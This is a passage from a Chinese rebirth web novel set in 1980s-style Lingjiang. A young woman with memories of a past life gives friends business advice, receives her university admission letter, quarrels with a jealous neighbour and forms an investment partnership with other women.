张天鸿:“怎么说话呢。妈还能打你不成?放心吧,爸给你说情,回去认个错,准没事。”
张茉莉大大地松口气,接过赵晓鹤递来的冰水,笑了声:“赵小哥,你还挺体贴。”
赵晓鹤嘿嘿地笑,红着耳朵说:“天气热,你……慢点喝。”
张天鸿眨眼,朝林语晨说:“林语晨,这什么情况?”
“嗯?嗯。”林语晨捧起杯子喝水,当作没听到。
赵有归瞧明白,招呼说:“晓鹤,一起去吃饭吧。”
“好。上次有归哥请客,这次我请吧。谢谢大家帮忙,也谢谢张哥、茉莉之前救了我。”赵晓鹤红着脸认真说。
淳于芳也跟着大家一起去吃饭。
大中午,大家不想赵晓鹤破费,选在隔壁的小饭馆吃饭。
席间,张茉莉催着大家入伙淳于芳的新公司。
张天鸿听完她们的想法,顿时起劲:“谁出的主意?可太好了。”
“林小姐。”张茉莉抖着双手,容重介绍,“林语晨真是个商业鬼才,见了何成一次就想到这门生意的未来,你说她厉害不厉害。”
“厉害。”张天鸿想起林语晨的特别,举起杯子敬她,“林语晨,以后你就是咱们灵江市的商业机密,给我说说,我的造纸厂该怎么走,未来发展前景最好?”
赵有归在桌下踢了张天鸿,淡定说:“你们造纸厂不是发展很好,还想怎么发展?”
张天鸿没理他,盯着林语晨。
林语晨莞尔,环顾一圈。在座都是好友,甚至算得上患难之交。
她也不隐瞒,正色说:“八一造纸厂已经非常成功。只要按现在的经营模式坚持下去,未来一定是国家重点扶持的企业,在灵省独一份。
若说拓展业务,与纸有关,必是印刷业和纸张业务。
照这个思路设想,为什么不承接我省各级学生用纸业务呢?”
“……”张天鸿思索番,蹙眉说,“学校是多,但有专门的供应单位,而且额外用纸量不大。”
“现在确实不大,但是目光放远一点呢。”
前世,林语晨把造纸厂做到超过八一造纸厂,就是接住一个特殊的风口。
大规模的外来人口流入,造就大批的工人子弟学校。学校的纸张用量变大,恰好被她接住这个机遇。
以小做大,一步步超过八一造纸厂的生产量,一跃成为灵江市第一龙头造纸企业。
赵有归低眉思考,认可林语晨的话,朝张天鸿说:“天鸿,你看得是眼前。现在政策变动快,人口流量变大。未来有大批人流入灵江市。
无论是办公、学校、企业等单位用纸量都会增多。谁先抓住机遇,谁就能在风口腾飞而起。语晨,你是这个意思吧?”
林语晨点头,习惯性举起杯子。
赵有归讶然,举起杯子同她碰个。
两人默契地相视笑。
林语晨喝口饮料才意识到——我竟然带出前世谈事的习惯,天!
张天鸿想明白其中的利害关系,看着各自喝饮料的两人,忽然说:“我就说你们两人有些特质很像。
谢谢林小姐,今日一言,令某茅塞顿开。干杯。”
林语晨赶紧同他碰杯:“天鸿哥客气了。”
赵晓鹤:“语晨,你真得好厉害。你点明我的人生方向。我刚开门那天就接个客户,帮忙修补一件家传瓷器。你知道我捧着那盒碎瓷时的感觉吗?
我突然觉得……原来这才是我会做能做且一定能做好的事,谢谢你让我重拾信心。”
林语晨赶紧也同他碰杯:“你别这么说。你有这行的本事,没有我的提醒,早晚也会踏进这行。”
赵有归看着她在席上焕发光彩,无声地笑着。
——知不知道这一刻,你暴露许多许多……但是,他们都不知道你的秘密,只有我知道。
这份认知让赵有归的心宛如一片滋生快乐的沃土,生出弯弯绕绕的藤蔓,紧紧地攀附着土壤生长。
他小心地藏起这份快乐,赶紧说:“大家吃菜吧,别谢来谢去。”
62. 反目仇
饭后,张天鸿带茉莉去小婶家拿东西。淳于芳和赵晓鹤回古董店忙活。赵有归向林语晨提出一起走走。
两人在灵江市的街上走过一回,至今,记忆犹新。
这次,林语晨非常清醒地认识到身边陪着走的人是谁。但是,她不敢放任心上的感觉。
因为,未来的不确定性让她惶恐。
赵有归:“深地那边打来电话,关于楚邵。你想知道吗?”
林语晨眨眨眼:“他……怎么了?”
“楚邵在我们行动前拿走林裕宝三万元。如今被人举报用非法财物承接工程建设,被深地警方抓了。”赵有归简单说明情况,注目着她,又说,“他已经把工程队解散,卖掉摩托车等,还了这笔款项,不日应该会回灵江市。”
林语晨的神色在眨眼间变幻,最终定格,像这片万里无云的天空,透蓝透亮。
“这么说,我又能见到他了?”
“……你想见他?”赵有归知道她不是这意思,只是下意识往这方面去想,或许源于人类的自私、占有欲作祟。
“当然。我想看他落魄的模样。”林语晨毫不遮掩对楚邵的厌恶,婉笑说,“有归哥,谢谢你一直以来帮我。”
赵有归摇头,慢慢向前走。
林语晨随他走在灵江边,目视澄澈如练的江水,缓缓说:“有归哥,下午我就会回家。若是收到录取通知书,我会去上大学。当初,谢谢你的鼓励。”
“你一定会成功。往后大学四年,我们会有很长一段时间碰不上吧。”赵有归有些沉重,而且她想出国。
现在的林语晨是一只准备振翅高飞的自由鸟儿,没有东西可以束缚她,遑论她已经看透的男女感情。
“是啊。我们每个人都会走在自己的路上,追寻人生——最终的答案。”林语晨颇有深意地说,“有归哥也是吧?”
赵有归想起那个奔向心中灯塔的深夜,感觉甚是奇妙:“是啊。我很好奇,什么力量可以让穷途末路的生命重新焕发光彩,又是什么样的存在会成为沧桑生命里新的亮点。”
林语晨扬眉,总觉得这话颇有深意。但是,赵有归说过的话不少都有深意,懒得深究。
因为再过十多天,她就会离开这个城市,去往陌生的地方居住四年。或许,从此后就再也不会回来。
既然这样,又何必再深究他的话意。
两人相视笑笑,又聊几句无关紧要的话,最后默契地说“再见”!
赵有归看着走远的窈窕背影,垂于两侧的手想要挽留,理智却再次告诫自己:她是林语晨。她有她想要的未来。
——而我,不论前世还是今生,或许只是她人生道路上的一道风景、一位过客。不被记忆、不被停留,更无回首。
灵江市的大街上,两道背道而驰的身影,各自走向属于自己的未来。
*
下午时分,林语晨、淳于芳坐着张家兄妹的车返回江源县。
两人约定等淳于芳的货到站,再回城里销售味精。
林家院子里,林兰香看到女儿,又哭又笑,抱着她感慨:“你这孩子,一去就是这么多天,不知道爸妈会担心吗?”
林大宝的工作三班倒,今日正好休息,在家等女儿。
“好啦。你见到她忍不住要念,见不到又想得慌。以后她去上大学,离家更远,你可怎么办?”
“那能一样吗?上学有学校护着,上外面做生意,靠得全是她自己。”林兰香抚摸女儿的大辫子,软声说,“好好在家休息几天,妈给你做好吃。”
“妈,没有那么夸张啊。我运气好,出门就遇贵人。你猜我这趟赚多少?”林语晨安抚着两人,取出一千元钱,“扣除车费、吃用等,还有些散钱,我留着自己花,其它都在这。”
“这么多?”林兰香震惊地清点数额,诧异问,“你拿多少成本去那边?”
“三百。所以,这趟净赚七百元。”林语晨给林爸一百,林妈四百,“剩下五百是我两年的学费日用。三百还给你们,每人一百当花用。这是我这辈子第一次赚钱,你们得收下哦。”
林爸乐个不停:“行。女儿会赚钱给老爸花,好。不过,这三百本来是给你的学费和花用,你继续拿着。我和你妈各拿一百。”
林兰香点头:“没错。你第一次赚钱孝敬爸妈,爸妈就收下。我的一百给你买被褥什么,等开学带去学校。你爸那钱就买肉啊菜什么,给你补身体。往后,你去了学校,妈要好久才看到你。”
“说起这个事。不知道军属的加分有没有用,录取通知书怎么还没来?”林大宝有些担忧。
这时,院外传来自行车的叮铃铃声。
一身绿装的邮递员在门外喊:“林语晨在家吗?”
“在。”一家三口愣了下后,急奔向院门口。
“恭喜啦。这应该是大学的录取通知书。拿着,等急了吧?”邮递员把信封递去,听着这家人的感谢,一脚蹬往赵晓琳家奔去。
“晨晨,快拆啊。”林兰香迫不及待说。
林大宝也激动得很:“这是双喜临门,大好事。晨晨,快,看看是什么学校。”
林语晨撕开封条,取出一张印着京北师院钢印logo的通知书,一时间手也在微微发抖。
“妈,爸……真得……被录取了。哈哈哈……”
“太好了,女儿。”林大宝想抱女儿,发现女儿这么大只,转头抱住林兰香,“香香,香香……咱们女儿可以上大学了。”
“是啊是啊……”林兰香情不自禁地连连应声,“自从……我想都不敢想。没想到峰回路转,竟然还真有这么一日,太好了。晨晨,回头谢谢茉莉的小婶,真是帮了咱家大忙。”
“好。”林语晨答应,看着爸妈抱作一团,扑过去环住两人,眼里泛上涩意,“太好了,爸妈。”
——原来爸妈期待得是一张大学录取通知书。而前世,竟从没有发现他们对此有遗憾。
“好好……”林爸林妈激动地叠声说好。
另一边,赵晓琳家没有这样高兴。
赵雪梅看着灵省大学的录取通知书,蹙眉说:“你小姑不是让你报考京北的医学系吗,怎么是咱们灵省啊?”
“在哪不是学医啊,不都一样吗?”赵晓琳很开心,放弃保送的名额,选择高考,留在灵省的医科大学,理由只有一个:待在有赵有归的城市。
若是按前世的轨迹,沈秋霞病逝后,赵晓琳一直认为有自己的责任。
赵有归回来奔丧,她匆匆见他一面之后就再不敢露面。
后来,她参加高考,选择遥远的京北医学院,远走他乡。
多年后,再回灵江市,她已经是专家级别的医生。在一院工作几年后被调往灵省二院,担任副院长。
然而,这一世沈秋霞没有出事,赵有归返乡入机关单位。
赵晓琳心有所向,选择放弃京北医学院,放弃今年唯有的四十名额之一,留在灵省还不出名的医学院
重来一次,有些事改变,而人变好了;但有些事改变,她人的路变窄了。
赵雪梅看向不吭声的赵松华,气得上手打赵晓琳:“没出息的东西。眼皮浅,为了个年纪比你大十岁的男人放弃前途,值得吗?赵晓琳,我告诉你,你以后一定会后悔。”
赵晓琳看着母亲气进屋、事不关己的父亲,转身离开家。
路过门庭冷情的赵有归家门口,静立一会又向前走。
等她走到林语晨家的门口,听着里面的热闹,想进去说说话,又觉得不合适,转身离去。
林家村的草垛场里,赵晓琳按往常约定,跑到草垛堆里寻那个少年,却发现林飞成不在。
突然间,大学录取通知书都不能让她快乐,垂头丧气地喃喃:“连你也走了吗?”
“姐姐!”林飞成飞快地跑过来,看着面色怏怏的赵晓琳,皱眉说,“谁让琳琳姐不高兴吗?”
“没有。我收到录取通知书了,可以去城里大学读书。你今天没被打吧?”
林飞成摇头,手却藏在背后。
赵晓琳一把拉出他的手,抚摸上面的青紫痕迹:“又是你叔叔?”
“不是。这次是我叔叔的大女儿,她嫌弃我吃太多,不让我吃,筷子打我手上了。”林飞成怯生生地看去,知道她富有同情心,见不得别人受苦,挤出两滴眼泪,“琳琳姐,我姐也回来了。她说要把我送给妈妈。可是,我妈妈她……她不喜欢我不要我。”
赵晓琳的心都揪起来,抚摸着林飞成的头发,轻轻地抱住他。
“我妈今天也生气了,说我喜欢一个比我大十岁的男人会后悔。感情又怎么能用年龄衡量呢。”
林飞成眨眨眼,撇去眼泪:“感情?琳琳姐有喜欢的人吗?”
“嗯。他小时候救过我。我一直很喜欢他。现在,他是警察,长得又高又大……我很喜欢他,愿意为他留在灵江市。”赵晓琳放开他,坐在稻草上抱起膝头,“可是,也许我妈说得对,放弃京北的医学系真得让我很难受。上一次,我和哥哥去城里找他,他说让我专心读书,将来会遇上年龄相近更合适的男人。他拒绝了我。
可是,我觉得为了他留在这是值得的,而且,我不会放弃。”
林飞成蹙起眉,鼓起勇气握住赵晓琳的手:“琳琳姐,你别难过。我支持你。我会好好读书,我会为你留在灵江市。这样,你就不会后悔了。”
“……什么和什么呀。你个小屁孩懂什么。”赵晓琳没有把他的话当回事,说出来心里舒坦很多,“你姐姐回来就和姐姐好好说说。总之,你不能再留在林裕钱家。飞成,没有妈妈不爱孩子。
只是,她们一时生气发作,有时候转不过弯。”
“这世上除了琳琳姐就没有好女人。”林飞成忽然说。
“你才多大就说这样的话。”赵晓琳被他逗笑,“好了,我要走了。你照顾好自己。”
“琳琳姐……”林飞成看着离去的女生,默默下个决定:感情不能用年龄衡量。我比老男人年轻,我也可以,对吧?琳琳姐,你要等我!
赵晓琳实在没地方去,知道李伶俐已经回家,又去找李伶俐谈心。
正好,李伶俐早两天就收到录取通知书,见到她也很高兴。两人聊半天,说起这次深地之行。
李伶俐为难说:“晓琳,你看到我家的情况……那钱……”
“不用给分成。当时,张茉莉在,为保全她的面子才说要什么利润分成。其实,你不用给我,还我本钱就可以。”赵晓琳体谅地
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说。
“好。”李伶俐点出钱,递去时又说,“这次,我们借用你哥哥的店铺,当时,大家分摊了下租金,出了十五块钱呢。本来,你哥都说不用……”
赵晓琳听着她的话意,也不傻。当即取出十五元塞回去。
“我哥那人我清楚,若不是有人提点他,又怎么会算得这么清楚。一般情况,他肯定不会收钱。我替他还给你,你也拿回去吧。”
因为古董店的事,家里鸡飞狗跳地闹过一场。
相比较而言,父亲赵松华对儿子赵晓鹤开店的事极力表示支持。
“谢谢晓琳。你真是太好了。”李伶俐扑抱住她,亲了又亲,“对了。你知道我们在城里看到谁吗?你的另一个哥哥。”
“另一个……哥哥?”赵晓琳听着李伶俐说起赵有归,再有介绍身份的事,想起进城向他报喜却被告诫“好好读书、未来会有更好的选择”的尴尬场面。
赵有归已经变相地拒绝了!
赵晓琳再次从旁人的嘴里听到这份拒绝的话,大脑宕机,难过不已:“他真这么说,说是我的另一个亲哥哥?”
“对啊。他……好像喜欢林语晨。”李伶俐观察着她的表情,小心翼翼说,“张茉莉在车上一个劲试探赵警官来接谁?他不说。但是,我们都听得出来,他就是来接林语晨。
茉莉,这警官长得挺不错,又是机关单位的公职人员,确实是个好选择。但是,他已经那么大年纪,怎么和何罗秋比?罗秋和我们是青梅竹马,又会赚钱,不比那个自以为是的假哥哥好啊?
我和罗秋商量着再去一次深地进货。晓琳……何罗秋可都是为了你在努力。”
赵晓琳不爱听她贬低赵有归的话,也不想听何罗秋的努力是为了谁……每个人做出选择就该承担选择的后果。
尽管,她心里已经隐隐后悔放弃京北的医学系,事到如今,只得咬牙吞。
“伶俐,谢谢你告诉我这些。我有事先走了。”
“晓琳……我……借钱的事?”李伶俐看向她的裤兜,“开学前,我还想再攒点钱……”
赵晓琳沉默片刻,两人十年的友谊在这摆着,真不好拒绝。
她把手里一百多元再次借给李伶俐,提醒句:“林……语晨姐比我们大几岁,见多识广。若是你和罗秋两人结伴去深地要注意安全。我先走了。”
“好。晓琳,你放心,到时候我一定连本带利还你。”李伶俐拽着钱,激动地喃喃,“算上这笔成本和赚的部分,又能进不少货。”
赵晓琳在傍晚时分回家,路过林语晨家的院子,看着矮墙后喂鸡的林语晨,喊了声:“语晨姐。”
“晓琳。恭喜你啊。”林语晨听说她家也收到录取通知书,“打算什么时候去学校?我们一起去啊。”
“一起?”赵晓琳看着她在晚霞碎金中散发的自信和美丽,升起一股无法言喻的怒火,“我没告诉你,我选得是哪里的医学院吗?就在本省。”
林语晨明显怔忡,诧异说:“你不是应该选……”
“是啊。大家都以为我会选京北呢。但是,我偷偷选报本省,连何罗秋都不知道。”
“何罗秋选得是京地的护理系啊。”林语晨震惊。
——赵晓琳……是为了赵有归才留在省城吗?
“那是他的选择,与我有什么关系?”赵晓琳很满意她现在的表情,又说,“我是为有归哥才留在本省。”
林语晨已经猜到,慢慢地冷静下来。
她把手里的谷糠都放在鸡笼,缓缓说:“为了男人,放弃自己的前途,值得吗?”
“前途,男人?语晨姐这样冷心冷肺的人只看到自己想看吧?”
赵晓琳的戾气越发重几分,冷笑说,“伶俐家这么困难,我想帮帮她,你却当着她的面要利润分成。你考虑过人家的感受吗?
今天我去她家,依旧没拿利润,甚至还把一百多再次借给她。语晨姐,你懂这种帮人的快乐吗?
对了。你还记得林飞成吗?我不仅给他送药送吃,还带他回家住一晚。我妈也没说什么。
表明上看起来热络善良的语晨姐,内心却是自私冷漠的人。
你这样的人,有什么人会喜欢你?躲你都来不及。
以前,我觉得我哥配不上你。现在,我觉得你配不上我哥。正好,我哥也不喜欢你了。”
林语晨张了张口,哑然失笑。
她这样子多像是要不到糖后气急败坏找存在感的小女孩。
感情让人盲目还真不假。
眨眼的功夫,林语晨试图过滤赵晓琳带来的坏情绪,不说“喜欢”的事,单说一件:“林飞成是只小白眼狼,你不要再与他有接触。”
“你看,你就是这么个凉薄的人。他这么小,有什么错?我哥不要你们的房租,你偏要给他,还让别人一起给钱。语晨姐,你总这么自以为是。天底下的人不会都绕着你转。”
有归哥又怎么可能喜欢你这样凉薄、自私的女人。
不可能!
赵晓琳硬张脸,再次冷冷说,“你不配被人喜欢。”
林语晨看着她离去,一把抓住安居树的树干,深深地吸口气,还是没把这股气咽下肚。
努力拉起笑脸:“傻姑娘!”
63. 送锦旗
“你说我让她们付租金、付利润分成有错吗?”林语晨气不过,见到张茉莉就把赵晓琳乱怼的事说给她听。
张茉莉叹了声:“女人,有时候就是盲目。比方我妈,我爸劝了好几天都还在生气,说我乱填志愿毁一生。又说我当武打演员就是唱戏的武生、丑角……哎,我只能躲了。”
“我说得是赵晓琳的事。”
“我说我家的事,不都是女人的事吗?”
林语晨瞪眼:“这怎么能是女人的事呢?若赵有归没有回灵江市,赵晓琳就不会一意孤行留在灵省读大学。若不是他,我又怎么会平白无故受这份气?”
张茉莉吸嗦着西瓜,哼哼唧唧:“你是在迁怒。这和赵有归有什么关系?赵晓琳自己做的选择,人生是她过,像我一样,我会对自己的人生负责。
不过,照你这么说,说人长短应该是李伶俐吧?”
“我猜是她。赵晓琳还把还回来的钱又借给李伶俐。你说她……傻不傻?”
“赌气,你们都在赌气。”张茉莉啃两口瓜,抹了抹嘴,“其实,同学间要利润分成确实说不过去,但是,她们不懂,这是一种维护对方尊严的方式。我爸说了,该算清楚的时候就要一清二楚,这样彼此才好做人。
我要利润分成,也是我爸教的。人性经不起考验。若是一直平白无故借钱给别人,次数一多,比方李伶俐吧,你看赵晓琳以后吃不吃亏。”
“也许这姑娘会说吃亏是福。”
张茉莉摇头,撇嘴说:“她又不笨。应该是脸皮薄,没好意思拒绝。不过,她喜欢赵有归?我还真没听说过这事。她个书呆子知道什么是喜欢吗?”
“你知道吗?”林语晨反问。
“嗐,我在帮你说话,你反过来质问我?什么意思啊!我不知道喜欢啊?喜欢不就是……不就是小人书里写的痴男怨女爱得死去活来,非得闹点矛盾,生点病,隔段时间再破镜重圆吗?比方你和赵晓琳!”
林语晨噎了好大口:“你少看点小人书吧。”转手把桌上问张茉莉借的小人书塞进抽屉。
张茉莉瞧着直接喷笑:“你就装吧!虚伪!”
“哎。等淳于芳卖掉味精,这茬就算过去了。”林语晨又问,“你和淳于芳合作的事怎么样?”
“资料搞下来,异地办事,那边还得处理点事情。不过,有我小婶在,你就放心吧。对了,我小婶也入股了。”
张茉莉嬉笑说,“你的这个想法提得真是时候。我小婶也在心痒痒,想赚点钱以后环游世界。正好送去淳于芳这股东风。将来淳于芳起势,说不定真像你说得一样,掌握灵江市未来十年的经济。厉害!高瞻远瞩!”
林语晨轻笑,琢磨说:“你们家这么搞,淳于芳不等于给你张家打工?”
张茉莉轻哼:“淳于芳也给你留两股。她不亏的话,你这辈子不愁吃喝。大师兄不说二师兄,没有点子、启动资金,她一个人想起来,不得多等四五六年?”
又翘起二郎腿,“你听说过港股市场吗?”
“……”林语晨没想到张茉莉的胃口这么大。从一开始出钱分利,到见机投资淳于芳,再到现在提出股市……竖起大拇指:“你哥是真被你比下去。”
“我爸说了,做生意最踏实是搞实业。虽然累、劳心,但是人活得有滋味。另一条路就是投资,以钱赚钱,往老得讲,借钱拿息啊,各行投资啊等,来钱快,但是,风险大。我不爱干实业,那有机会就投资。腰包有钱了,才能做我喜欢的事,对吧?”
“清醒!”林语晨佩服得不要不要。若前世张家没有灭门案,灵省该是张家的天下吧。
张家做事也是有情有义。茉莉、李丽珍都要投资淳于芳,却没有想着直接把公司改成自家人持有,或聘用淳于芳的方式,说明张家做事谨慎且有分寸。
“你提港股市场是什么意思?”
“我不是要演戏吗?迟早都要去那边。我婶说了,可以帮我借名开户,自己先稍许投资着,等学两年去那边不会没根没基。”张茉莉挑眉,凑近说,“我知道你的点子正,目光看得远。这有好事当然得带上你一份。但是,丑话说前头,这风险比投资淳于芳还高,全看命。”
“什么命啊。经济效益好、没坏账烂账的上市公司,股票价格能差到哪里去?人家的年报仔细看,连小字注释都别放过。企业若在内地发展,街头巷尾看看人家的产品卖得好不好,若有大钱,直接上门访谈老板……资料第一手,行情不就来了吗?”
张茉莉听得一愣一愣,恍然说:“难怪我小婶让我通知你一声。她看人真是没看错。”
林语晨送她斜眼,一句话总结:“你调查再清楚,幕后超盘手想要买空抛售,在哪都会被割韭菜。”
前世,楚邵跌得最惨的风头就在期货市场。
林语晨想要帮他填补窟窿,不仅要借助外力,还得搞明白期货、股票的买卖。后来,她听朋友的建议,在合适的时机把楚邵买入的份额以亏损最小的情况卖出。
如今张茉莉提起这事,倒是个隐姓埋名赚钱的好方法。而机会不在港地,而是一年半后开盘的沪市!
林语晨思量着:“我想亲自拜访师娘李丽珍,一来谢她帮忙选中现在的专业,顺利被大学录取。二来关于淳于芳公司的未来发展方向。三来就是你说的港地开户的事。”
张茉莉举起手掌。林语晨含笑拍上去。
“啪”得一声好不响亮,两人异口同声:“合作愉快。”“最佳拍档!”
三天后,淳于芳接到货运到站的通知,来找林语晨。林语晨通知张茉莉,三人一起坐车前往灵江市。
这次,三人小团伙还是在坊河街摆摊,二十七箱味精,以4角一包的价格销售一空。余下一箱,淳于芳送给赵晓鹤五包、赵有归五包、林语晨五包、张茉莉家五包,以及茉莉小婶五包,余下都拿回家孝敬大伯家和爸妈。
尽管只是区区四角一包的味精,却显出淳于芳会做人做事的风格。
她不仅按承诺给张茉莉两成利,还试图给林语晨两成利。但是林语晨没要,却收到一双帆布鞋。
淳于芳:“当时,我买的时候就想给你也买一双。不过,那时候茉莉给你买东西,我又给你买,感觉像是故意讨好你。这次本就是你带着我才赚到钱。如今,你不收利润,总该收下这双鞋吧。我按你的尺码买的鞋子,比我小一码。”
“你这样说我还能拒绝吗?谢谢你,芳芳。”林语晨收下黑白色帆布鞋,笑说,“进大学,我也跑得快了。”
两人笑作一团。
张茉莉出面请李丽珍,林语晨出钱上灵江酒楼,带上淳于芳。
淳于芳也顺势搭上李丽珍的人脉,给她未来的事业带来极大的帮助。
林语晨是借着谢师宴的名头,但是张校长是明白人,谢绝了她。
张校长对李丽珍说:若真是谢师宴倒也罢了,若是你们谈合作的事,那就是丽珍自己的事,我不方便参与这场饭局。
李丽珍笑话他:“一辈子谨小慎微,也就做个校长了。若不是我不好出面,又怎么会趁风口投资个大学生。”
灵江酒楼的包厢里,四个女人坐一张小圆桌,彼此互相认识一番。
李丽珍环顾三个大学生:张茉莉是自家人,最可信。侄女为人直爽大气,却不喜欢理事,只想做自己喜欢的事。作为小婶,当然要拉一下自己人。
林语晨长得漂亮,难得是有一颗配得上这份美的头脑。并且,她只想潜伏而不是高调,属于闷声发大财的类型。
这就有几分像李丽珍自己,也是李丽珍想要提拔林语晨的原因。
与两人不同得是淳于芳,长得周正不说,甚至有点“小帅气”,而且初生牛犊不怕虎,既有她这年纪的果敢纯真,也是颇有时运的人。
做生意,运气很重要。淳于芳现在就是一把一点就燃的火焰,烧得好,可以用很长时间。
“来,我们干杯,祝我们芳芳同学事业顺利。”李丽珍举起杯子,“也祝大家学业有成。”
张茉莉顺势跟上。林语晨也看向淳于芳。淳于芳有点脸红,举起杯子说:“谢谢大家,我也希望在大家的帮助下,我们一起赚钱,一起致富,干杯!”
“干杯!”四个年龄不等,性格各异的女人达成合作。
这餐饭诞生灵省未来最有钱、最有名、最风流、最神秘的四个女人。
散席后,张茉莉和李丽珍走了。
淳于芳把装味精的袋子递给林语晨,轻声说:“这是送给赵警官。我知道他现在是局长,不能乱收东西。但这是我的感谢。大伯的事,还有我,甚至蓝姐姐在天有灵,都会欣慰吧。
只是,若我就这样送去,他应该不会收。所以,拜托你帮忙送给他。拜托……”
林语晨接过塑料袋,笑说:“你不如送他一面锦旗,就写:人民好公仆!他一定会很喜欢。”
“这样会不会太夸张?”淳于芳眨眼,还真动起送锦旗的心思,“你想逗他别拉上我。我感激他,可不敢得罪他。”
“……不都这样吗?他是警察,帮老百姓做事,你感激他,送他一面锦旗,就送市局里去。”林语晨还记着赵晓琳骂人的话,不都是赵有归带来的麻烦。
她就想让他尴尬到社死。
“不然,我帮你做锦旗,咱们一起送?”
“你……来真呀?”淳于芳扬眉,狠了狠心,“你别后悔。我来出锦旗的钱,可是找谁做呢?”
两人对一眼,整齐说:“华丽衣料店,何方明!”
何方明已经回家好几天,听说摊位试点的事,为此介绍亲戚去深地进货,得不少好名声。
这日,他正好在店里画冬季的服装款式图,见到林语晨和淳于芳,先惊后喜:“林大学生……淳于……”
“淳于芳!”淳于芳大方地笑说,一点不介意何方明没有记下自己的名字。因为,她知道在未来何方明、乃至灵江市都会记得自己。
“何叔,你叫我林语晨就好。别客气。我们来拜托你帮点小忙。”林语晨把来意说出。
何方明拍胸脯:“这是多高兴的事,放心。我保证给你做最好的锦旗。你们要送哪里啊?”
林语晨:“市局。”
何方明瞬间想起张茉莉那句:咱们在市局有人。
“哦哦,这样啊,放心吧。明天……明天上午来取,怎么样?”
“正好。我们也想明天送完旗子就回老家。”淳于芳点头。
何方明记下她们的要求,又问署名的单位、名字等。一听说署名是“晨芳(国际)贸易、淳于芳”,看人的眼神都不一样,还细细打量淳于芳一番。
随后,他客气地笑说两句,准备去店后的作坊寻红布、黄色的流苏、布料。
林语晨好奇他现在的规模,问了声:“何叔,方便我们去参观吗?”
“可以。”何方明想起火车上提防她的事,尴尬笑说,“林同学、淳于同学,你们别介意。这年头寻到点做生意的门道不容易。吃这口饭就得多加小心”
“我们明白。”林语晨知道他是想起火车上的事,环顾店里的服装,岔开话题,“现在挂得是入秋的衣服呢。”
“对,我们都是早一季节上货。现在,后面几台缝纫机已经在赶做入冬的呢大衣里料。”何方明请两人穿过店铺后的小门,过了一座小院子进一处门庭。
搭棚造起的平房里放着三台缝纫机,一张裁床,几名妇女在穿针引线缝制呢大衣。
“呢大衣原来是手工缝制啊?我一直以为是缝纫机踩出来呢。”淳于芳好奇说。
“呢布面料厚,缝纫机过不去。而且踩出来线脚不密。春夏秋装的薄款可以用缝纫机,但是冬装的呢大衣不行,里料还是会用缝纫机。你看这边,我从那边带回一批真丝面料,可以用缝纫机。大冬天啊,城里女性也能穿上漂亮裙子。”
淳于芳想象真丝裙子
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配呢大衣的画面,眼里流露羡慕:“想着就觉得好看。”
林语晨笑:“以后,你也买得起。”
淳于芳重重地点头。
何方明想两人以后的身份不简单,挑两条大红色的呢子长围巾:“你们想着找我帮忙,是把何叔当朋友。这两条围巾是边角料剩下制成,别嫌弃,入冬后可以戴。”
淳于芳连忙摆手:“我用不着。我去南边读书,哪里用这个。语晨,她去北上,肯定用得上。”
“你不用可以送给阿姨。”林语晨笑说。
呢料围巾的边角用针线缝制,即使是边角料,也卖的上价钱。
何方明这样做是在释放一个信号:有来有往,日后多打交道。
何方明听明白林语晨潜在的话意,一拍额头:“瞧我。还有还有!”又取出几块呢子围巾,笑说,“帮张同学也带一条去,你们喜欢看着拿。我先去把你们的事交代一下。”
淳于芳看他走掉,靠近说:“何叔真大方。”
“……你是要去市局送锦旗的人。而且,虽然你还没正式开张,也是一个公司的老板,比他小打小闹的店铺可要厉害。”林语晨解释着,挑条大红色,“这个给茉莉吧。”又拿起一条藏青格子色,想起那块去而不回的格子手帕,“倒挺适合他。”
淳于芳挑两块灰色和玫红色:“我送给爸妈吧。”
“好,走吧。”林语晨环顾着工坊的环境,回忆前世灵省的服装行业。
左思右想不记得有何方明这号人物。或许,深地一行,何方明被偷走钱后再没有起来?
——不可能。店铺在这,工人在这,机器也在这……周转不过来不至于销声匿迹。大概率是他往后没有做大做强。
“芳芳,若是几年后你比他钱多,不妨拉他一把做大这行业。”林语晨贴耳说。
“……你太看得起我吧?”淳于芳想都不敢想。
“你小看自己的能量和能力。”林语晨说着,拉她回前店,“何况,我们收了他的礼,将来怎么能不办事?”
淳于芳讶异地看向手里的围巾:这……原来是一种合作信号?
何方明的妻子在看店,看到两人招呼:“你们随便看,都是老何的朋友就是我的朋友,别拘着啊。”
“谢谢。”张茉莉和林语晨看着秋款服装,确实很多都参考港地的服装风格,大荷叶领、长袖镶边……都有不少小心思在上面。
林语晨看到何方明的妻子在柜台上画画,走过去瞻一眼,好奇问:“老板娘,你是设计师?”
“啊?不是啊。这图是老何参考那边的服装画的,有时候他也会带几件衣服回来做样衣。我嘛,想法多,喜欢给他在衣服上画点什么。”老板娘刚动笔又忽然说,“我姓陈,陈欢喜。你们可以叫我陈姐。”
林语晨从善如流:“陈姐,我能提点小意见吗?”
“你说。”
“呢大衣的质感高级,重点不在于添加什么装饰。听何叔说,呢子面料厚,很难缝纫,绣花也不易。那么,多伴在款式、长短、衣袖、领子等做文章。比方说纽扣。”
“纽扣?”陈欢喜想了下,“现在都是大板面的圆形四眼塑料扣。”从抽屉里取出纽扣样品,递去说,“就是这种。”
黑色圆形塑料扣,看起来品质一般,配呢大衣有点降低格调。
“为什么不做成方形纽扣,或者铜制的蘑菇扣等等,甚至可以在扣面上压花?”
淳于芳听着林语晨的小建议,觉得跟着她真能学到很多。
陈欢喜点头,笑说:“你的想法很好哎。但是,纽扣是用机器模型做出来。若是换新的款式就要纽扣厂更改模具模型。这是一笔很大的费用。”
“原来是这样。”林语晨点头,“还是需求量不够大,换模具制版的成本太高。”
“是啊。”陈欢喜又笑,“你的想法很好。我会同老何提一下。顺便说:你喊我陈姐可真让我高兴,比你们何叔年轻多了,哈哈。”
林语晨和淳于芳也忍俊不禁地笑,没想到何方明的妻子陈欢喜这么有趣,而且是个心思细腻的人。
何方明办完事回来,见三人笑作一团,问了原因。
听过林语晨的建议后,他说:“其实,这种扣子在港地已经有了。但是,成本很高。若是做在我们的衣服上,价格得卖更高才合适。只是,现在的居民购买力……”
林语晨表示明白。
何方明现在的规模和生产力够他开店消耗。若他想要把后面的场子做大,灵江市就必须要有更多的服装店铺、乃至提高居民的购买力才行。
但是,他忘记国际市场。未来三十年,祖国可是世界服装加工厂。不管是来料加工、还是本地原料代加工,服装业的市场和前景都非常乐观。
而现在,不是同他提这事的时候。
林语晨若想吃一杯服装业的羹,就得抓住国际资金流入国内,攫取劳动力价值的风口,就是各地大量建代加工工厂的时机,而这机会很快就会到来。
第一批就是港人企业家向内地流入,收购或合资创办各种工厂。
